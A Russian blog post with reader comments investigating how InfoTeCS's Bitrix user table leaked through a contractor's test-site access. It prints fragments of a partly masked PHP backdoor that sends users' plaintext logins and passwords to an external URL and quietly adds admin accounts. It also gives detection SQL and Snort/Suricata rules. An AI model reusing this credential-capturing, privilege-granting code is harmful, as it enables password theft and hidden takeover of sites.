Всем привет! Сегодня мы расскажем об инциденте, связанном с утечкой данных CMS «1С-Битрикс: Управление сайтом» (дальше в статье будем называть его просто Битриксом) сайта www.infotecs.ru и о том, как проводилось расследование.

Все началось с того, что 20 мая 18:56, телеграм канал NLB опубликовал пост с информацией об утечке базы данных сайта ИнфоТеКС. Уже в 19:12 специалисты центра мониторинга ПМ оповестили отдел защиты информации ИнфоТеКС, был зарегистрирован инцидент информационной безопасности. Началось расследование инцидента, которое должно было ответить на 4 ключевых вопроса:

  1. Что именно утекло?

  2. Когда именно произошла утечка?

  3. Откуда произошла утечка?

  4. При каких обстоятельствах?

Анализ опубликованных данных

Первым делом мы определили, какие данные утекли и были скомпрометированы. С файлообменника был получен архив [infotecs-users.sql.gz], который содержал файл [infotecs-users.sql]. При его детальном рассмотрении оказалось, что это резервная копия таблицы b_user Битрикса, которая содержит основные пользовательские данные: идентификатор, адрес электронной почты, логин, хэш пароля, хэш контрольного слова, ряд меток времени, различные служебные поля и дополнительные предустановленные поля личных и рабочих данных.

Стоит отметить, что в первой строке отсутствует часть команды SQL [INSERT INTO b_user (…) VALUES], при этом все команды SQL созданы таким образом, что их объём не превышает 1 мегабайта. Заканчивается файл запятой, т.е. блок VALUES SQL запроса был обрезан для сокрытия следов, далее будет ясно каких. Записи первых 100 пользователей также отсутствуют, они были вырезаны из опубликованного набора, это подтверждается тем, что объём первого блока данных заметно меньше 1 мегабайта, и объясняет отсутствие первой строки с командой SQL.

Теперь перейдем к содержимому. В таблицу b_user Битрикса попадает то, что пользователи вносили в поля для заполнения при регистрации на сайте. Зарегистрированных пользователей можно разделить на следующие категории:

  • стандартная регистрация с минимальным количеством дополнительных данных;

  • регистрация пользователя, который добросовестно постарался заполнить все дополнительные поля;

  • технические и специальные учётные записи;

  • следы проведения web-атак на сайт через форму регистрации.

Очевидно, что под действие закона "О персональных данных" могут попадать только учётные записи первых двух пунктов. Точное определение персональных данных в опубликованной таблице b_user находится в юридической области и было осуществлено специалистами АО «ИнфоТеКС».

Стоит отдельно затронуть метки времени, которые содержит таблица b_user, и разобраться в них.

Метки времени таблицы b_user
Метки времени таблицы b_user

TIMESTAMP_X – время последнего изменения записи, не учитывая изменения поля LAST_LOGIN. Вход в личный кабинет сайта или панель администратора не обновляет данное поле.

LAST_LOGIN – время последнего входа пользователя на сайт, обновляется при входе в личный кабинет или панель администратора.

DATE_REGISTER – время регистрации пользователя (создание учётной записи), неизменяемое поле при штатной работе.

CHECKWORD_TIME – время подтверждения проверочного слова.
Они сыграют важную роль в локализации инцидента.

Локализация инцидента

После проведённого анализа опубликованных данных было необходимо локализовать инцидент в пространстве (инфраструктуре) и времени. После изучения имеющийся документации и опроса ответственных лиц мы выяснили, что украденные данные могли находиться:

  • в боевом контуре сайта www.infotecs.ru;

  • в тестовом контуре, предназначенном для разработки новой версии сайта www.infotecs.ru;

  • в хранилище резервных копий;

  • на рабочей машине администратора сайтов.

Мы тщательно изучили каждую локацию, сверяя данные из локаций, соответствующие опубликованным, с данными из утечки. Построчная сверка показала, что записи в таблице b_user Битрикса в боевом контуре сайта www.infotecs.ru имеют иные идентификаторы, а значит, данные были извлечены не из основного сайта. Журналы web-сервиса httpd основного сайта также не содержали признаков извлечения данных таблицы b_user Битрикса запросом, инициированным из сети Интернет. При этом удалось оценить актуальность опубликованных данных относительно боевого сайта: использовались данные, которые существовали с 2023-04-24 18:35:12
по 2023-04-24 23:52:25.

Далее сравнили опубликованные данные с данными тестового контура и обнаружили полное соответствие идентификаторов пользователей. В дополнение к этому для тестирования функциональности сайтов администраторами ИнфоТеКС использовалась специальная учётная запись, неотличимая по оформлению от стандартной корпоративной учётной записи. В 2023 году она использовалась исключительно на тестовом сайте, что и подтверждается данными: на боевом сайте последняя активность данной учётной записи датируется сентябрём 2022 года, а в опубликованных данных – апрелем 2023 года. Мы использовали эту учётную запись в качестве маркера данных для определения источника утечки. Это позволило локализовать инцидент во времени в рамках тестового контура: с 2023-04-26 10:10:50 по 2023-04-28 17:42:45 существовали данные, которые соответствуют опубликованным.

Данные в хранилище резервных копий и на машине администратора сайтов также не соответствовали используемому маркеру. Дополнительные проверки журналов хранилища резервных копий и рабочей машины администратора не показали признаков, которые могли бы свидетельствовать о возможной компрометации.

Восстановление последовательности значимых событий

Мы приступили к восстановлению последовательности событий, которые привели к утечке данных, основываясь на показаниях, полученных в результате опроса ответственных лиц
АО «ИнфоТеКС», и на журналах сервисов и систем, которые применялись в тестовом контуре.

Стоит сразу отметить, что централизованного сбора журналов событий безопасности в тестовом контуре не велось, конфигурации журналирования сервисов и систем в большинстве случаев были стандартными и не изменялись. Многие журналы к моменту расследования были ротированы.

Тестовый контур содержал следующие основные элементы:

  • кластер СУБД mysql с БД Битрикса;

  • кластер kubernetes с web-сервисами;

  • кластер haproxy для организации доступа;

  • подрядчики, которые имели доступ к разрабатываемому сайту, что развернут на kubernetes, через haproxy.

Глубина журналов СУБД mysql и Битрикс на момент проведения расследования была не более недели, но журнал сервиса haproxy сохранился полностью.

Опрос администратора сайта www.infotecs.ru показал, что вечером 24 апреля 2023 года он создал отдельную резервную копию таблицы b_user Битрикса боевого сайта ИнфоТеКС, что подтверждается журналом «тяжёлых» запросов mysql_slow.log.

mysql_slow.log
mysql_slow.log

Это совпадает с ранее выделенным периодом времени существования данных в боевом контуре (с 2023-04-24 18:35:12 по 2023-04-24 23:52). Далее администратор перенёс данные в тестовый контур, где 2023-04-26 10:10:50 был сделан вход в тестовую учётную запись, которая была принята за маркер. Теперь, когда точно известно время и место существования данных, необходимо углубиться в изучение журналов и кода.

Схема предоставления доступа подрядчикам к тестовому контуру разрешает обращения только по TCP/443, значит, наиболее вероятным используемым механизмом было использование функции создания резервных копий таблиц БД Битрикса. Доступ к данной функции имеют только администраторы CMS. Узнать, какие права имеют пользователи в системе, можно через изучение записей таблицы b_user_group.

В таблице b_user_group были обнаружены подозрительные учётные записи, созданные в обход стандартных механизмов Битрикса. При создании пользователей стандартным поведением системы является добавление нового пользователя в группы, предусмотренные по умолчанию. Подозрительные пользователи имели членство только в группе администраторов. Изучение кода, предоставленного подрядчиком, подтвердило подозрения — в коде были предусмотрены дополнительные процедуры создания учётных записей и аутентификации пользователей.

Таблица b_user_group
Таблица b_user_group

Найти подобные записи можно с помощью следующего SQL-запроса:

SELECT b_user_group.USER_ID, GROUP_ID FROM b_user_group, (SELECT USER_ID, COUNT(USER_ID) AS user_id_rows FROM b_user_group GROUP BY USER_ID) AS total_rows WHERE total_rows.user_id_rows=1 AND b_user_group.USER_ID=total_rows.USER_ID AND GROUP_ID=1;

Дополнительным для сайта www.infotecs.ru признаком, позволяющим определить подобные учётные записи, является поле LID таблицы b_user.

Таблица b_user, поле LID
Таблица b_user, поле LID

Чтобы выяснить, каким образом были созданы данные учётные записи, мы провели анализ текущего кода сайта. В результате были найдены соответствующие блоки, обеспечивающие наблюдаемую функциональность. В предлагаемых фрагментах кода некоторые части скрыты соответствующей меткой [{masquerade}].

Рассмотрим файл […/auth.php], переданный подрядчиком, который был включён в состав сайта.

use Bitrix\Main\Web\HttpClient;

class Auth
{
	protected $[{masquerade}];

	public static function init()
	{
		$auth = new Auth();
		$auth->register();
	}

	public function register()
	{
		\AddEventHandler("main", "OnUserLoginExternal", array($this, "onUserLoginExternal"), 100);
		\AddEventHandler("main", "OnExternalAuthList", array($this, "onExternalAuthList"), 100);
	}

Имеется подключение класса HttpClient и создание обработчиков событий, позволяющих в открытом виде получить логин и пароль, которые вводятся пользователем.

public function onUserLoginExternal(&$arParams)
	{
		if (!$this->[{masquerade}]()) {
			return null;
		}
		$login = new [{masquerade}](($arParams['LOGIN']));
		$password = $arParams['PASSWORD'];

		if ($this->isAuthorized($login->[{masquerade}](), $password, $this->[{masquerade}]Url())) {
			$fields = array(
				"LOGIN" => $login->[{masquerade}]Login(),
				"NAME" => $login->[{masquerade}]Login(),
				"PASSWORD" => $password,
				"EMAIL" => $login->getEmail(),
				"ACTIVE" => "Y",
				"EXTERNAL_AUTH_ID" => "Office",
				"LID" => SITE_ID,
			);

Код функции, вызываемой в обработчике, содержит вызов другой функции, которая принимает в себя логин пользователя, его пароль и URL для отправки этих данных.

protected function isAuthorized($strOfficeLogin, $strPassword, $url)
	{
		try {
			$http = new HttpClient();
			$http->[{masquerade}]($strOfficeLogin, $strPassword);
			$auth_status = trim($http->get($url));
			if ($http->getStatus() != '200') {
				return false;
			}
			return ($auth_status == 'ok' || $auth_status == 'ok:' || preg_match('{^ok:(.+)$}', $auth_status));
		} catch (\Exception $e) {
			error_log('Office external auth error: ' . $e->getMessage());
		}
		return false;
	}

Функция в свою очередь отправляет эти данные в открытом виде на указанный URL. В трафике это выглядит как Basic Authorization через HTTP. В ответ ожидается «ok» в различных вариациях.

Отправка логина и пароля пользователя в трафике
Отправка логина и пароля пользователя в трафике

Если раскрыть base64, то выглядит это так: [{masquerade}]\my_account:no_longer_a_secret, то есть "сайт\логин:пароль".

URL в коде сайта находился в файле […/init.php].

\[{masquerade}]::Init([
	'auth' => 'http://office.[{masquerade}]/project13399/siteadmin/',
	'infoblock.schema.delete' => false,
]};

Что касается функционала создания учётных записей с правами администратора, то он выглядит следующим образом.

$user = new \CUser();
			$existedUser = \CUser::GetList($by = "timestamp_x", $order = "desc", array(
				"LOGIN_EQUAL_EXACT" => $login->[{masquerade}]Login(),
				"EXTERNAL_AUTH_ID" => "Office",
			))->Fetch();
			if (!$existedUser) {
				$shouldAdd = true;
				\[{masquerade}]\Events::emit('auth.add_office_user', $fields, $shouldAdd);
				if ($shouldAdd) {
					$id = $user->Add($fields);
				}
			} else {
				$id = $existedUser["ID"];
				$shouldUpdate = true;
				\[{masquerade}]\Events::emit('auth.update_office_user', $fields, $shouldUpdate);
				if ($shouldUpdate) {
					$user->Update($id, $fields);
				}
			}
			if ($id > 0) {
				$groups = \CUser::GetUserGroup($id);
				$shouldSetGroups = true;
				if (!in_array(1, $groups)) {
					$groups[] = 1;
				}
				\[{masquerade}]\Events::emit('auth.set_user_groups', $login, $password, $id, $groups, $shouldSetGroups);

				if ($shouldSetGroups) {
					\CUser::SetUserGroup($id, $groups);
				}
				$arParams["store_password"] = "N";

				return $id;
			}

При отсутствии пользователя в системе он создаётся с указанным логином и паролем, и ему добавляется членство в группе 1, что соответствует правам администратора.

Анализ журнала сервиса haproxy показал, что в интересующий нас период времени от инфраструктуры подрядчика был инициирован ряд соединений, в том числе соединение, по которому подрядчик получил 79,9 мегабайт данных. Этот объём достаточен для получения резервных копий таблиц БД Битрикса. Теперь у нас достаточно данных, чтобы восстановить последовательность значимых событий.

2022-05-27-15:03 – передача подрядчиком кода с ранее описанным функционалом, который можно классифицировать в рамках этапа разработки как CWE-489 (Active Debug Code), которая позволяла потенциальному злоумышленнику реализовать T1098 (Account Manipulation) и T1056(Input Capture), а значит, возможна реализация T1199 (Trusted Relationship).

2023-04-24 18:33:34 – зафиксирована активность последнего пользователя сайта www.infotecs.ru, эта активность не имела возможности появиться в тестовом контуре.

2023-04-24 19:51:59 – администратором сайта производится копирование данных из БД www.infotecs.ru боевого контура в тестовый контур.

2023-04-24 23:52:25 – зафиксирована активность пользователя сайта www.infotecs.ru, которая отсутствовала в опубликованных данных.

2023-04-25 12:32:24 – создание учётной записи rootuser с правами администратора Битрикса с помощью кода подрядчика, T1136.003 (Create Account: Cloud Account).

2023-04-26 10:10:50 – вход специального пользователя на сайт тестового контура, данную учётную запись мы используем в качестве маркера, подтверждающего, что данные были извлечены из тестового контура.

2023-04-26 13:59:28 – создание учётной записи gavrilova@░░░░░░░.ru с правами администратора Битрикса с помощью кода подрядчика, T1136.003 (Create Account: Cloud Account).

2023-04-26 14:04:40 – получение 79,9 мегабайт данных подрядчиком по данным журнала haproxy, TA0010 (Exfiltration).

2023-04-27 12:34:11 – создание учётной записи b_adminuser с правами администратора Битрикса с помощью кода подрядчика, T1136.003 (Create Account: Cloud Account).

2023-04-28 17:42:45 – вход на сайт тестового контура другого пользователя ИнфоТеКС, после данного события целевые данные изменяются.

2023-05-20 18:56 – публикация данных в Telegram канале NLB, данные содержат признаки порционной передачи, что может свидетельствовать о применении T1030 (Data Transfer Size Limits). В опубликованных данных отсутствуют первые 100 и последние 3 записи, которые соответствуют созданным с правами администратора учётным записям.

Так как воздействие осуществлялось из инфраструктуры подрядчика, в неустановленный период времени в отношении подрядчика конечным злоумышленником могли применяться T1650 (Acquire Access), T1584(Compromise Infrastructure), T1588 (Obtain Capabilities).

Результаты и IOC

По всем имеющимся данным дамп таблицы b_user был извлечён 2023-04-26 14:04:40 из консоли администратора Битрикса сайта www.infotecs.ru тестового контура инициированным со стороны подрядчика соединением, что подтверждается тем, что у подрядчика был административный доступ к Битриксу, полученный с помощью кода, содержащего функционал по созданию соответствующих учётных записей.

Компания «ИнфоТеКС» направила подрядчику соответствующее уведомление и предложение продолжить расследование инцидента на их инфраструктуре с привлечением специалистов центра мониторинга ПМ. На момент написания статьи ответа от подрядчика не поступало.

Работу данного кода по созданию учётных записей с правами администратора можно обнаружить с помощью предложенного SQL-запроса.

Применение механизмов аутентификации, предусмотренные кодом подрядчика, могут генерировать активность, соответствующую правилу Snort [2006380, ET POLICY Outgoing Basic Auth Base64 HTTP Password detected unencrypted]. Дополнительно специалистами ПМ было написано правило Snort, более точно определяющее данную активность:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"AM POLICY Bitrix CMS Sensitive Information Exposure via Custom Bitrix Library"; flow:established,to_server; content:"GET"; depth:3; content:"/project"; http_uri; content:"/siteadmin"; http_uri; distance:0; content:"Authorization|3a 20|Basic"; nocase; http_header; content:!"Proxy-Authorization|3a 20|Basic"; nocase; http_header; reference:cve,NA; classtype:policy-violation; sid:3234756; rev:2; metadata: affected_asset src, affected_os any, affected_product bitrix:bitrix, affected_vendor bitrix, attack_target Web_Server, tag T1056;)

Для Suricata предлагается следующее правило:

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"AM POLICY Bitrix CMS Sensitive Information Exposure via Custom Bitrix Library"; flow:established,to_server; content:"GET"; http_method; content:"/project"; http_uri; content:"/siteadmin"; http_uri; distance:0; content:"Authorization|3a 20|Basic"; nocase; http_header; content:!"Proxy-Authorization|3a 20|Basic"; nocase; http_header; reference:cve,NA; classtype:policy-violation; sid:3234756; rev:3; metadata: affected_asset src, affected_os any, affected_product bitrix:bitrix, affected_vendor bitrix, attack_target Web_Server, tag T1056;)

Передача логина и пароля пользователя будет детектироваться от сайта до указанного в коде URL при попытке входа на сайт.

Комментарии (16)


  1. andToxa
    13.06.2023 11:51

    … создал отдельную резервную копию таблицы b_user Битрикса боевого сайта…
    … Далее администратор перенёс данные в тестовый контур ...

    т.е. на тестовом контуре используются боевые данные?


    1. notice_me_senPAIN Автор
      13.06.2023 11:51

      Боевые данные были перенесены администратором ИнфоТеКС для финального тестирования новой версии сайта перед публикацией. До этого момента использовались исключительно тестовые данные.


      1. inkvizitor68sl
        13.06.2023 11:51

        Расскажите им про prestable -)


    1. niponimau
      13.06.2023 11:51

      а как надо?


      1. andToxa
        13.06.2023 11:51

        использовать либо тестовые данные либо обезличенные


        1. notice_me_senPAIN Автор
          13.06.2023 11:51

          В период разработки нового сайта тестовые данные и использовались. Перед публикацией нового сайта решили провести дополнительное тестирование на боевых данных, но не ограничили доступ к инфраструктуре для подрядчика. Правильным было бы не допускать ситуации, когда в одной лодке волк с козой или коза с капустой подрядчик и боевые данные.


  1. FanatPHP
    13.06.2023 11:51
    +7

    Для тех, кому в лом продираться через удушливый инфобез канцелярит:
    Некий "подрядчик" передал заказчику новый код сайта, в котором была закладка, отправляющая введенные пользователем логин и пароль на сторонний сервер.
    Что за подрядчик, и откуда в коде закладка, в статье не поясняется.


    1. Wakeonlan
      13.06.2023 11:51

      А почему этот masquerade код не удалили?


    1. vyacheslavchulkin
      13.06.2023 11:51

      Что за подрядчик, и откуда в коде закладка, в статье не поясняется.

      Ну как бы тут врядли кто-то даст точный ответ, по сути там любой контент менеджер через режим правки может занести произвольный php код. Когда с этим поделием работал мы максимально убирали возможномть правки для конетент менеджеров. Я даже не удивлен что атака прошла именно таким образом.


      1. FanatPHP
        13.06.2023 11:51

        Если я правильно понял, это новый код, только что полученный от "подрядчика". То есть, из репозитория. Откуда там контент-менеджеры?


        1. vyacheslavchulkin
          13.06.2023 11:51

          Там достаточно увести учетную запись с правами контент менеджера и иметь на странице то что можно редактировать, например включаемую область. При таком раскладе можно добавить свой код в php файл на странице.

          У подрядчика это могло работать где-нибудь на тестовом сервере собственно там в процессе работы и мог появится этот файл и в момент релиза могло быть просто тупо все скопировано в прод, поскольку в битриксе все крутится вокруг файлов очень часто бывает что все грузится тупо по ftp, так что не факт что код из репозитория.


          1. FanatPHP
            13.06.2023 11:51

            Просто тогда получается замкнутый круг. Чтобы увести учетную запись, нужно добавить код, а чтобы добавить код, нужно увести учетную запись :)


            1. vyacheslavchulkin
              13.06.2023 11:51

              Не замкнутый круг, а чтобы выполнить любой произвольный php код и увести все данные достаточно иметь ОДНУ учетную запись с правами контент менеджера


              1. notice_me_senPAIN Автор
                13.06.2023 11:51

                Этот код был добавлен ещё в прошлом году, подрядчик использует его в своих проектах с Битриксом. Т.е. код был добавлен вместе со всей библиотекой из репозитория подрядчика в репозиторий сайта в самом начале работ. У подрядчика сразу была возможность создавать учётные записи с правами администратора Битрикса, но воспользовался он этой этой возможностью только после появления боевых данных. На текущий момент обнаруженные "особенности" кода были отключены, будет проведено полное исследование библиотеки. Может, там ещё что-то интересное есть.


  1. AntoineLarine
    13.06.2023 11:51

    Отдельно доставляет то, что ИнфоТеКС - это контора, специализирующаяся на разработке сертифицированных продуктов по информационной безопасности. Сапожники без сапог


    1. VadimProfii
      13.06.2023 11:51

      Я там обучался...